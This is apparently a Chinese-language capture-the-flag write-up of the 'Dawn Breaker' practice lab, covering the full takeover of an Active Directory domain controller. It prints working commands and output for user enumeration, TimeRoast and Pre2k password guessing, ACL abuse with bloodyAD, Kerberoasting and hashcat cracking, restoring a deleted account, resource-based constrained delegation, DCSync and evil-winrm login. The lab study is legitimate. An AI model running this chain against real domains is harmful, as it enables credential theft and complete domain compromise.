// 红队渗透 · 2026-05-01

无境靶机 Dawn Breaker WP复盘

“摘下你黯淡的衰亡,换一束爆燃的火花”

“摘下你黯淡的衰亡,换一束爆燃的火花”

靶机信息

靶机地址:https://bdziyi.com/ulab/lab.html?page=target-detail&id=152

靶机作者:Scarecrow

综合难度比较高的一台靶机,附首杀证明:

靶机涉及的知识点如下:

端口扫描, 服务发现, Kerberos 用户枚举, TimeRoast 攻击, Pre2k (Pre-Windows 2000) 计算机账户碰撞, LDAP 匿名绑定受限绕过, SMB/RPC 零信息枚举, RID 循环枚举 (RID Brute-forcing), 图论分析 (BloodHound), ACL 权限链利用, WriteSPN 权限利用, Kerberoasting 攻击, WriteOwner 权限利用, DACL 修改, GenericAll 权限利用, 账号激活与 UAC 标志位修改, AD 回收站对象恢复 (Object Restoration), 孤儿 SID 识别, 基于资源的约束性委派 (RBCD), S4U2Proxy 协议扩展, DCSync 攻击, Pass-the-Hash (PtH), Evil-WinRM 利用。

端口扫描

为了提高扫描效率,我们使用 RustScan 进行快速端口探测,并联动 Nmap 进行详细的服务版本检测(-sV)与默认脚本扫描(-sC)

❯ rustscan -u 5000 -a 192.168.111.10 – -sCV

Open 192.168.111.10:53
Open 192.168.111.10:88
Open 192.168.111.10:135
Open 192.168.111.10:139
Open 192.168.111.10:389
Open 192.168.111.10:445
Open 192.168.111.10:464
Open 192.168.111.10:593
Open 192.168.111.10:3268
Open 192.168.111.10:3269
Open 192.168.111.10:5985
Open 192.168.111.10:9389
Open 192.168.111.10:49666
Open 192.168.111.10:49668
Open 192.168.111.10:49669
Open 192.168.111.10:49671
Open 192.168.111.10:49670
Open 192.168.111.10:49682
Open 192.168.111.10:49698

扫描结果分析:

目标 IP 192.168.111.10 开放了大量端口,呈现典型的 Windows 域控制器(Domain Controller) 特征:

端口 服务 描述
53 DNS 域名解析服务,常用于域环境枚举
88 Kerberos Kerberos 认证协议,是 Kerberoasting 和 AS-REP Roasting 的核心
135/593 RPC 远程过程调用服务
139/445 SMB 用于文件共享、命名管道,常用于探测 Null Session 或执行 smbexec
389/3268 LDAP 轻量级目录访问协议,用于查询域内对象信息
5985 WinRM Windows 远程管理端口,若获得凭据可尝试直接获取 Shell
9389 ADWS Active Directory Web Services,通常用于 PowerShell 域管理
49666+ Dynamic RPC 动态高位端口,用于 RPC 服务的通信

匿名枚举

综合探测结果,目标服务器(Windows Server 2016,Build 14393)目前在安全加固方面封锁了“匿名信息搜集”的权限,但保留了“协议基础连接”。

  1. 禁用了 LDAP 匿名绑定 (Anonymous Bind)
  • 表现: 当你使用 ldapsearch 或 nxc ldap 时,服务器返回 000004DC: LdapErr: DSID-0C090AE1。
  • 影响: 你无法通过 389 端口直接拉取域内用户列表、计算机列表或详细的域架构信息。这是现代 Server 的默认高安全级别配置。
  1. 禁用了 SMB/RPC 匿名枚举权限
  • 表现: 虽然 Null Auth 显示为 True(允许建立空会话),但执行 --shares 或 lookupsids 时均返回 STATUS_ACCESS_DENIED。
  • 影响:
  • SAMR 接口受限: 无法通过 RID 循环(--rid-brute)自动获取用户名。
  • LSAD 接口受限: 除了基础的 lsaquery(获取 SID)外,拒绝了更深层的账户映射查询。
  • 共享列表隐藏: 匿名用户无法看到 ADMIN$、C$ 等默认共享或自定义共享目录。

既然没办法匿名枚举,那就尝试使用 kerbrute 爆破用户名

❯ kerbrute userenum /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt -d sec.lab –dc 192.168.111.10

发现两个用户名:

augusta
solaris

timeroast+pre2k

随后尝试 timeroast,这个技术主要是针对计算机账户,可获取其 hash

具体原理可看我的这篇文章:https://xz.aliyun.com/news/91598

❯ nxc smb 192.168.111.10 -u ‘’ -p ‘’ -M timeroast

爆破出密码是 solaris,正好对上了我们之前爆破的用户名,而且由于是计算机账户,名字后需要带$

这里涉及到另一个知识点:pre2k

当一个计算机账户在 AD 中被“预创建”(即在机器实际加入域之前,由管理员在 ADUC 中手动创建)并勾选了 “允许 Windows 2000 之前的计算机使用此账户” 选项时,其默认密码就是其主机名小写形式(不带$)

什么是“预创建的计算机账户”?

在大型企业中,管理员有时会提前在域中创建计算机对象(Computer Object),但还没有真正的物理机器加域。

  • 这些账户的默认密码通常是计算机名(去掉 $ 符号)的小写
  • 例如:计算机名为 SOLARIS$,对应的预设密码就是 solaris

针对 WORKSTATION_TRUST_ACCOUNT 类型的对象(即机器用户),系统默认禁用 NTLM 认证。若尝试使用 NTLM,通常会触发 STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT 错误。

必须使用 -k 参数强制进行 Kerberos 认证

认证成功,获得了第一组凭据。

试试 nxc 的pre2k 模块

nxc ldap 192.168.111.10 -u ‘solaris$’ -p ‘solaris’ -k -M pre2k

pre2k 模块的工作流程

当你运行 -M pre2k 时,模块执行了以下逻辑:

  1. 查询:它在 LDAP 中搜索所有 userAccountControl 属性包含 WORKSTATION_TRUST_ACCOUNT 但还没有被真正激活或修改过密码的计算机账户。
  2. 碰撞:它尝试用“计算机名(小写)”作为密码去进行 Kerberos 认证。
  3. 结果:输出显示 [+] sec.labsolaris$:solaris 认证成功。这意味着你成功“劫持”了一个尚未被使用的计算机账号。

初始枚举

拿到初始权限后,就可以开展枚举了。

优先枚举密码策略,看看出题人让不让爆破

❯ nxc smb 192.168.111.10 -u ‘solaris$’ -p ‘solaris’ -k –pass-pol

账号尝试失败 5 次后就会锁定。一旦锁定,需要等待 30 分钟。显然不用考虑爆破了。

枚举域用户和组 我个人喜欢枚举 rid

❯ nxc smb 192.168.111.10 -u 'solaris$' -p 'solaris' -k --rid-brute
SMB         192.168.111.10  445    AD               [*] Windows Server 2016 Standard 14393 x64 (name:AD) (domain:sec.lab) (signing:True) (SMBv1:True) (Null Auth:True)
SMB         192.168.111.10  445    AD               [+] sec.lab\solaris$:solaris 
SMB         192.168.111.10  445    AD               498: SEC\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB         192.168.111.10  445    AD               500: SEC\Administrator (SidTypeUser)
SMB         192.168.111.10  445    AD               501: SEC\Guest (SidTypeUser)
SMB         192.168.111.10  445    AD               502: SEC\krbtgt (SidTypeUser)
SMB         192.168.111.10  445    AD               503: SEC\DefaultAccount (SidTypeUser)
SMB         192.168.111.10  445    AD               512: SEC\Domain Admins (SidTypeGroup)
SMB         192.168.111.10  445    AD               513: SEC\Domain Users (SidTypeGroup)
SMB         192.168.111.10  445    AD               514: SEC\Domain Guests (SidTypeGroup)
SMB         192.168.111.10  445    AD               515: SEC\Domain Computers (SidTypeGroup)
SMB         192.168.111.10  445    AD               516: SEC\Domain Controllers (SidTypeGroup)
SMB         192.168.111.10  445    AD               517: SEC\Cert Publishers (SidTypeAlias)
SMB         192.168.111.10  445    AD               518: SEC\Schema Admins (SidTypeGroup)
SMB         192.168.111.10  445    AD               519: SEC\Enterprise Admins (SidTypeGroup)
SMB         192.168.111.10  445    AD               520: SEC\Group Policy Creator Owners (SidTypeGroup)
SMB         192.168.111.10  445    AD               521: SEC\Read-only Domain Controllers (SidTypeGroup)
SMB         192.168.111.10  445    AD               522: SEC\Cloneable Domain Controllers (SidTypeGroup)
SMB         192.168.111.10  445    AD               525: SEC\Protected Users (SidTypeGroup)
SMB         192.168.111.10  445    AD               526: SEC\Key Admins (SidTypeGroup)
SMB         192.168.111.10  445    AD               527: SEC\Enterprise Key Admins (SidTypeGroup)
SMB         192.168.111.10  445    AD               553: SEC\RAS and IAS Servers (SidTypeAlias)
SMB         192.168.111.10  445    AD               571: SEC\Allowed RODC Password Replication Group (SidTypeAlias)
SMB         192.168.111.10  445    AD               572: SEC\Denied RODC Password Replication Group (SidTypeAlias)
SMB         192.168.111.10  445    AD               1000: SEC\AD$ (SidTypeUser)
SMB         192.168.111.10  445    AD               1101: SEC\DnsAdmins (SidTypeAlias)
SMB         192.168.111.10  445    AD               1102: SEC\DnsUpdateProxy (SidTypeGroup)
SMB         192.168.111.10  445    AD               2101: SEC\Jinzhou (SidTypeGroup)
SMB         192.168.111.10  445    AD               2102: SEC\Black Shores (SidTypeGroup)
SMB         192.168.111.10  445    AD               2103: SEC\Rinascita (SidTypeGroup)
SMB         192.168.111.10  445    AD               2104: SEC\Lahayo (SidTypeGroup)
SMB         192.168.111.10  445    AD               2105: SEC\Rover (SidTypeUser)
SMB         192.168.111.10  445    AD               2106: SEC\Verina (SidTypeUser)
SMB         192.168.111.10  445    AD               2107: SEC\Calcharo (SidTypeUser)
SMB         192.168.111.10  445    AD               2108: SEC\Jinxi (SidTypeUser)
SMB         192.168.111.10  445    AD               2109: SEC\Yangyang (SidTypeUser)
SMB         192.168.111.10  445    AD               2110: SEC\TheShorekeeper (SidTypeUser)
SMB         192.168.111.10  445    AD               2111: SEC\Frollo (SidTypeUser)
SMB         192.168.111.10  445    AD               2112: SEC\Augusta (SidTypeUser)
SMB         192.168.111.10  445    AD               2113: SEC\Iuno (SidTypeUser)
SMB         192.168.111.10  445    AD               2114: SEC\Mornye (SidTypeUser)
SMB         192.168.111.10  445    AD               2116: SEC\SOLARIS$ (SidTypeUser)

结果分拣一下:

[+]Regular Users:
DefaultAccount
Rover
Verina
Calcharo
Jinxi
Yangyang
TheShorekeeper
Frollo
Augusta
Iuno
Mornye

[+]Computer Users:
AD$
SOLARIS$

[+]Groups:
Cloneable Domain Controllers
Protected Users
Key Admins
Enterprise Key Admins
Jinzhou
Black Shores
Rinascita
Lahayo

跑寻血猎犬😋,我习惯用老版本,也可以用 ce 新版本

❯ bloodhound-python -u ‘solaris$’ -p solaris -d sec.lab -ns 192.168.111.10 -dc AD.sec.lab -c All –zip

得到以下路径:

猎犬路径

1. 账户接管与状态激活

首先利用 bloodyAD 重置目标用户 rover 的密码

❯ bloodyAD -u ‘solaris$’ -p ‘solaris’ -k –host AD.sec.lab -d sec.lab set password ‘rover’ ‘Admin@123’

发现账号处于禁用状态:

启用账号相关命令如下:

# 移除禁用标志位
❯ bloodyAD -d sec.lab -u 'solaris$' -p 'solaris' -k --host AD.sec.lab remove uac rover -f ACCOUNTDISABLE

# 检查启用状态
❯ nxc ldap 192.168.111.10 -u 'solaris$' -p 'solaris' -k --active-users

❯ nxc ldap 192.168.111.10 -u ‘solaris$’ -p ‘solaris’ -k –active-users

❯ bloodyAD -d sec.lab -u ‘solaris$’ -p ‘solaris’ -k –host AD.sec.lab remove uac rover -f ACCOUNTDISABLE

❯ nxc ldap 192.168.111.10 -u ‘solaris$’ -p ‘solaris’ -k –active-users 再次查询 成功看到 rover

随后,将 rover 加入 JINZHOU 组以继承其权限

❯ bloodyAD –dc-ip 192.168.111.10 -d sec.lab -u rover -p Admin@123 -k –host AD.sec.lab add groupMember “JINZHOU” rover

2. 利用 WriteSPN 进行 Kerberoasting

继续分析猎犬路径

通过分析 ACL 发现,JINZHOU 组对 YANGYANG、JINXI、CALCHARO、VERINA 四名用户拥有 WriteSPN 权限。

利用逻辑: 对于原本没有 SPN 的用户,攻击者可以手动为其设置伪造的 SPN,随后请求 Kerberos 服务票据进行离线爆破。

❯ bloodyAD -d sec.lab -u rover -p 'Admin@123' --host 192.168.111.10 set object YANGYANG servicePrincipalName -v "HTTP/YANGYANG"
[+] YANGYANG's servicePrincipalName has been updated
❯ bloodyAD -d sec.lab -u rover -p 'Admin@123' --host 192.168.111.10 set object JINXI servicePrincipalName -v "HTTP/JINXI"
[+] JINXI's servicePrincipalName has been updated
❯ bloodyAD -d sec.lab -u rover -p 'Admin@123' --host 192.168.111.10 set object CALCHARO servicePrincipalName -v "HTTP/CALCHARO"
[+] CALCHARO's servicePrincipalName has been updated
❯ bloodyAD -d sec.lab -u rover -p 'Admin@123' --host 192.168.111.10 set object VERINA servicePrincipalName -v "HTTP/VERINA"
[+] VERINA's servicePrincipalName has been updated

使用 impacket-GetUserSPNs 请求票据并离线破解:

impacket-GetUserSPNs sec.lab/rover:Admin@123 -request -outputfile hashes.txt

❯ hashcat hashes.txt /usr/share/wordlists/rockyou.txt

成功通过 Kerberoasting 爆破出了两个账号的明文密码:

  • Yangyang: Hello
  • Jinxi: Jinxin

3. ACL 链式提权

由于 Jinxi 对 BLACK SHORES 组有 AddMember 权限 ,将 rover 加入该组

❯ bloodyAD -d sec.lab -u jinxi -p ‘Jinxin’ –host 192.168.111.10 add groupMember “BLACK SHORES” rover

由于 BLACK SHORES 组拥有 WriteOwner 权限,组内成员 rover 可以更改 THESHOREKEEPER 用户的所有者(Owner)为自己,随后修改其 DACL 以获得完全控制权(GenericAll)并重置密码

❯ bloodyAD -d sec.lab -u rover -p ‘Admin@123’ –host 192.168.111.10 set owner THESHOREKEEPER rover

❯ bloodyAD -d sec.lab -u rover -p ‘Admin@123’ –host 192.168.111.10 add genericAll THESHOREKEEPER rover

❯ bloodyAD -d sec.lab -u rover -p ‘Admin@123’ –host 192.168.111.10 set password THESHOREKEEPER ‘Admin@123’

一旦你通过上一步控制了 THESHOREKEEPER,就可以利用他对 LAHAYO 组的 AddMember 权限完成最后的提权

错误码 data 533 表示 STATUS_ACCOUNT_RESTRICTION,说明 THESHOREKEEPER 账户也被禁用了。

用 rover 启用 THESHOREKEEPER 账户:

❯ bloodyAD -d sec.lab -u rover -p ‘Admin@123’ –host 192.168.111.10 remove uac THESHOREKEEPER -f ACCOUNTDISABLE

❯ bloodyAD -d sec.lab -u THESHOREKEEPER -p ‘Admin@123’ –host 192.168.111.10 add groupMember LAHAYO rover

至此 rover 就被加入了LAHAYO 组。

进一步可以看到

LAHAYO 组的成员 MORNYE 对 KEY ADMINS 组拥有 AddKeyCredentialLink 权限。这意味着你可以利用 Shadow Credentials 攻击,为该组内的一个成员添加公钥凭据,从而获取该成员的 TGT 票据。

但是我们没有直接的 ACL 获取 mornye 用户。

用户比较多,梳理一下:

SMB 共享枚举

❯ nxc smb 192.168.111.10 -u rover -p ‘Admin@123’ –shares

rover 对三个组的共享都有读写权限

登录 smb,深入枚举文件

❯ smbclient.py sec.lab/rover:‘Admin@123’@192.168.111.10

只发现Welcome 共享下有一个 Letter.txt

# use Welcome
# ls
drw-rw-rw-          0  Tue Jan 27 12:13:59 2026 .
drw-rw-rw-          0  Tue Jan 27 12:13:59 2026 ..
-rw-rw-rw-         31  Tue Jan 27 11:46:41 2026 Letter.txt
# cat Letter.txt
......Yangyang

Hello......

结果就是我们 Kerberoasting 早就跑出来的凭据,没啥用

恢复被删除的用户

猎犬查看前往域管的最短路径,会看到一个 SID 被标记为问号

该 SID S-1-5-21-2688985321-3766267280-2512124731-2115 被标记为问号,是因为 BloodHound 在数据库中找到了该 SID 的权限记录,但无法将其关联到任何具体的对象实例(Instance)。这通常是因为该对象已被删除(变为墓碑对象后消失)或属于采集器未触达的外部安全主体。

这种已删除的对象,也被称为孤儿 SID: 当对象被删除时,它会进入“墓碑(Tombstone)”状态,并最终被完全移除。即使对象被删除,如果其在安全描述符(如 AddAllowedToAct 权限)中的条目未被清理,就会留下一个无法解析回名称的原始 SID。因为“一个 SID 只能使用一次”且“即使安全主体被删除,它也永远不能再被用于识别另一个用户”,所以 BloodHound 只能识别出它是一个曾经存在的安全主体,但无法获取其目前的属性信息(如 sAMAccountName 或 displayName)。

使用 powerview 进行枚举和恢复

❯ powerview sec.lab/rover:Admin@123@192.168.111.10 –web

╭─LDAP─[AD.sec.lab]─[SEC\Rover]-[NS:192.168.111.10] [WEB:127.0.0.1:5000]
╰─ ❯ Get-DomainObject -Identity "S-1-5-21-2688985321-3766267280-2512124731-2115" -IncludeDeleted
objectClass               : top
                            person
                            organizationalPerson
                            user
cn                        : Lynae
DEL:49f688f6-323e-4456-a30e-cd99418be690
distinguishedName         : CN=Lynae\0ADEL:49f688f6-323e-4456-a30e-cd99418be690,CN=Deleted Objects,DC=sec,DC=lab
instanceType              : 4
whenCreated               : 27/01/2026 03:39:49 (3 months, 5 days ago)
whenChanged               : 27/01/2026 06:32:54 (3 months, 5 days ago)
uSNCreated                : 12918
isDeleted                 : True
uSNChanged                : 12989
name                      : Lynae
DEL:49f688f6-323e-4456-a30e-cd99418be690
objectGUID                : {49f688f6-323e-4456-a30e-cd99418be690}
userAccountControl        : NORMAL_ACCOUNT
badPwdCount               : 0
codePage                  : 0
countryCode               : 0
badPasswordTime           : 01/01/1601 00:00:00 (425 years, 4 months ago)
lastLogoff                : 1601-01-01 00:00:00+00:00
lastLogon                 : 01/01/1601 00:00:00 (425 years, 4 months ago)
logonHours                : ////////////////////////////
pwdLastSet                : 27/01/2026 03:39:49 (3 months, 5 days ago)
primaryGroupID            : 513
objectSid                 : S-1-5-21-2688985321-3766267280-2512124731-2115
accountExpires            : 1601-01-01 00:00:00+00:00
logonCount                : 0
sAMAccountName            : Lynae
lastKnownParent           : CN=Users,DC=sec,DC=lab
dSCorePropagationData     : 01/27/2026 06:31:25 AM
                            01/27/2026 06:31:22 AM
                            01/01/1601 00:00:00 AM
msDS-LastKnownRDN         : Lynae

该对象 isDeleted 属性为 True,且位于 CN=Deleted Objects 容器中。利用域环境开启了 AD 回收站 的特性,我们将其直接恢复:

╭─LDAP─[AD.sec.lab]─[SEC\Rover]-[NS:192.168.111.10] [WEB:127.0.0.1:5000]
╰─ ❯ Restore-DomainObject -Identity "S-1-5-21-2688985321-3766267280-2512124731-2115"

账户恢复后,再枚举一遍猎犬

此时剩下的路径也为我们展开了

由于当前用户 Rover 对 Lynae 拥有 GenericAll 权限,我们直接重置其密码:

╭─LDAP─[AD.sec.lab]─[SEC\Rover]-[NS:192.168.111.10] [WEB:127.0.0.1:5000]
╰─ ❯ Set-DomainUserPassword -Identity Lynae -AccountPassword 'NewPassword123!'

但在尝试使用新凭据通过 SMB 认证时,触发了 STATUS_PASSWORD_MUST_CHANGE 策略,需要再改一次密码

使用 nxc的 change-password 模块在认证过程中完成强制修改:

❯ nxc smb 192.168.111.10 -u lynae -p ‘NewPassword123!’ -M change-password -o ‘NEWPASS=Admin@123’

此时可以打 rbcd

RBCD 资源委派攻击

我之前常用 impacket,这次用 powerview 试试

# 创建受控机器账号
Add-DomainComputer -ComputerName 'voretx$' -ComputerPass 'pass123'

# 设置RBCD
Set-DomainRBCD -Identity "AD$" -DelegateFrom "voretx$"

查看属性,可以发现成功完成 RBCD 属性注入:

╭─LDAP─[AD.sec.lab]─[SEC\Lynae]-[NS:192.168.111.10]
╰─ ❯ Get-DomainRBCD -Identity "AD$"
SourceName                     : AD$
SourceType                     : 805306369
SourceSID                      : S-1-5-21-2688985321-3766267280-2512124731-1000
SourceAccountControl           : 532480
SourceDistinguishedName        : CN=AD,OU=Domain Controllers,DC=sec,DC=lab
ServicePrincipalName           : ldap/AD.sec.lab/ForestDnsZones.sec.lab
                                 ldap/AD.sec.lab/DomainDnsZones.sec.lab
                                 Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/AD.sec.lab
                                 DNS/AD.sec.lab
                                 GC/AD.sec.lab/sec.lab
                                 RestrictedKrbHost/AD.sec.lab
                                 RestrictedKrbHost/AD
                                 RPC/f2892d2c-a316-427b-bd10-2a02f7ac0170._msdcs.sec.lab
                                 HOST/AD/SEC
                                 HOST/AD.sec.lab/SEC
                                 HOST/AD
                                 HOST/AD.sec.lab
                                 HOST/AD.sec.lab/sec.lab
                                 E3514235-4B06-11D1-AB04-00C04FC2DCD2/f2892d2c-a316-427b-bd10-2a02f7ac0170/sec.lab
                                 ldap/AD/SEC
                                 ldap/f2892d2c-a316-427b-bd10-2a02f7ac0170._msdcs.sec.lab
                                 ldap/AD.sec.lab/SEC
                                 ldap/AD
                                 ldap/AD.sec.lab
                                 ldap/AD.sec.lab/sec.lab
DelegatedName                  : voretx$
DelegatedType                  : SAM_MACHINE_ACCOUNT
DelegatedSID                   : S-1-5-21-2688985321-3766267280-2512124731-4602
DelegatedAccountControl        : WORKSTATION_TRUST_ACCOUNT
DelegatedDistinguishedName     : CN=voretx,CN=Computers,DC=sec,DC=lab

随后通过 S4U (Service for User) 协议扩展请求模拟域管理员 Administrator 的服务票据(ST):

❯ export KRB5CCNAME=Administrator@cifs_AD.sec.lab@SEC.LAB.ccache

最后执行 DCSync 导出 Administrator 凭据

❯ impacket-secretsdump -k -no-pass -just-dc-user Administrator sec.lab/Administrator@AD.sec.lab

evil-winrm 成功登录后,进入 Administrator 的桌面目录,获取最终 Flag:

结束!

总结与复盘

渗透路径与难点

这台靶机的难点在于权限的碎块化。攻击者不能指望一蹴而就,必须通过不断的“信息枚举 -> 权限获取 -> 二次枚举 -> ACL 转换”循环,特别是对 AD 回收站恢复 的理解,是通关的关键。

渗透路径梳理:

初始突破:由于匿名枚举被封死,通过 Pre2k+Timeroast,获得计算机账号,撬开内网的大门。

ACL 链式提权:这靶机的 ACL 链极其恶心,一路上又是启用又是加组又是改密码的,但都比较常规。

回收站利用:识别 BloodHound 中的“孤儿 SID”,利用 AD 回收站特性恢复被删除的特权账号,打通断裂的攻击路径。

委派接管:利用 RBCD 和 S4U2Proxy 协议模拟域管,最终通过 DCSync 彻底接管域控。

🛠️ 核心工具栈

工具 用途
RustScan / Nmap 端口扫描与服务识别
Kerbrute Kerberos 预认证用户枚举
NXC (NetExec) 综合渗透框架(密码碰撞、RID 枚举、密码策略检查)
BloodyAD 强大的高级 AD 权限操作工具 (ACL 修改、账号激活)
BloodHound 域环境攻击路径可视化分析
PowerView (Python 版) AD 对象枚举与回收站操作
Impacket 协议利用(Secretsdump, GetUserSPNs, GetST 等)
Evil-WinRM 最终交互式 Shell 获取

原文 https://xz.aliyun.com/news/92072